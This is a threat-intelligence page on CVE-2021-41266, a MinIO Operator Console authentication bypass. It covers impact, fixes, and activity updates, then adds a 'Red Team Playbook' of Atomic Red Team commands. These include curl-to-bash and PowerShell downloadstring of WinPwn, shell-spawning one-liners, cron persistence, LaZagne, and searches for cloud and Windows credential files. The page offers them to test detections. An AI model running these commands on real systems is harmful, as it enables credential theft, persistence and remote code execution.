CVE-2021-41266
Overview
This vulnerability is an authentication bypass in the Minio Operator Console component of the MinIO multi-cloud object storage system. The root cause lies in improper enforcement of authentication checks when an external identity provider (IDP) is enabled, allowing unauthorized access to the console. Specifically, the operator console fails to validate user credentials correctly under these conditions, affecting versions up to v0.12.2 inclusive.
Vulnerability Description
Minio console is a graphical user interface for the for MinIO operator. Minio itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled. All users on release v0.12.2 and before are affected and are advised to update to 0.12.3 or newer. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.
Impact
An attacker can gain unauthorized access to the Minio Operator Console without valid credentials, enabling potential unauthorized management of the object storage environment. No authentication is required (PR:N), and the attack can be performed remotely (AV:N) without user interaction (UI:N). This unauthorized access can lead to data confidentiality compromise (C:H), limited integrity impact (I:L), and availability disruption (A:L). The attacker can manipulate storage operations or configurations, potentially impacting business continuity and data security.
Solution
Users should upgrade Minio Console to version 0.12.3 or later as detailed in the official advisory at https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36. For environments where upgrading is not immediately possible, a workaround involves setting automountServiceAccountToken: false in the operator-console Kubernetes deployment to prevent service account token mounting, and disabling external IDP authentication by unsetting CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET, and CONSOLE_IDP_CALLBACK environment variables, instead relying on Kubernetes service account tokens for authentication.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Minio console arises from an authentication bypass issue when an external identity provider (IDP) is enabled. This flaw primarily affects versions prior to 0.12.3 of the Minio operator console, which is a graphical user interface designed for managing MinIO, a multi-cloud object storage solution. The core of the issue lies in the improper handling of authentication tokens, allowing unauthorized users to gain access to the console without valid credentials. The presence of this vulnerability poses a significant risk, especially in environments where sensitive data is stored and managed through the Minio platform.
Attack vectors exploiting this vulnerability can be varied and sophisticated. An attacker with knowledge of the Minio console and its configuration could leverage the authentication bypass to gain unauthorized access to the console interface. Once inside, they could manipulate storage configurations, access sensitive data, or even disrupt service availability. Scenarios may include an insider threat where a malicious actor with limited access escalates their privileges or an external attacker who exploits weak security practices to gain entry. The ease of exploitation, combined with the high severity of the vulnerability, makes it a prime target for attackers seeking to compromise cloud storage environments.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on Minio for critical data storage and management. Unauthorized access could lead to data breaches, loss of intellectual property, or exposure of personally identifiable information (PII). The business risks associated with such incidents include regulatory penalties, reputational damage, and financial losses stemming from data recovery efforts or legal actions. Furthermore, the potential for service disruption could affect operational continuity, leading to significant downtime and loss of customer trust.
To detect and mitigate this vulnerability, organizations should prioritize immediate upgrades to version 0.12.3 or newer of the Minio console, which addresses the authentication bypass issue. For those unable to perform an upgrade, a temporary workaround involves modifying the operator-console deployment in Kubernetes by setting automountServiceAccountToken to false, which prevents the mounting of service account tokens inside the pod. Additionally, organizations should disable the external IDP authentication by unsetting the relevant environment variables and instead utilize Kubernetes service account tokens for authentication. Regular security audits and vulnerability assessments should also be conducted to ensure that all components of the Minio deployment are secure and up to date.
In conclusion, the authentication bypass vulnerability in the Minio console represents a critical security concern for users of this multi-cloud object storage solution. The potential for unauthorized access to sensitive data and the associated business risks necessitate prompt action from organizations to mitigate the threat. By implementing recommended upgrades and configuration changes, as well as maintaining a proactive security posture, organizations can significantly reduce their exposure to this vulnerability and enhance their overall security framework.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-41266, with telemetry indicating a doubling in detection frequency over a short period. Despite this increase, the EPSS score has declined significantly, reflecting a reduced likelihood of widespread exploitation in the immediate term. This divergence suggests that while adversaries are actively probing or attempting to leverage the authentication bypass vulnerability in the Minio console, large-scale or successful exploit campaigns have not yet materialized. For defenders, this pattern underscores the importance of vigilance: the increased probing activity may precede more sophisticated or targeted attacks, particularly as threat actors continue to refine their tactics. Consequently, the overall threat level remains critical due to the vulnerability’s inherent severity and potential impact, but the current exploitation risk is moderated by the downward trend in exploit probability. Continuous monitoring is essential to detect any shift toward more aggressive exploitation efforts.
Update 2 — July 08, 2026
CSURFACE threat intelligence has identified a slight increase in probing activity targeting the CVE-2021-41266 vulnerability, reflecting a modest rise in adversary interest despite a concurrent decline in the EPSS score. This divergence suggests that while exploit attempts are becoming somewhat more frequent, the overall likelihood of widespread successful exploitation remains tempered. Our telemetry indicates that threat actors continue to test the affected MinIO console environments, potentially refining their methods in preparation for more targeted or sophisticated campaigns. Although no new exploit techniques or ransomware affiliations have been detected, the uptick in reconnaissance underscores the vulnerability’s persistent appeal as a high-impact attack vector. For defenders, this evolving pattern highlights the necessity of sustained vigilance and monitoring, as the incremental increase in activity could presage more aggressive exploitation efforts. Consequently, the critical severity of the vulnerability remains unchanged, but the nuanced shift in exploitation dynamics calls for ongoing attention to emerging trends within the threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Min | Minio Console | All |
cpe:2.3:a:min:minio_console:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-41266 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/minio/console/pull/1217 |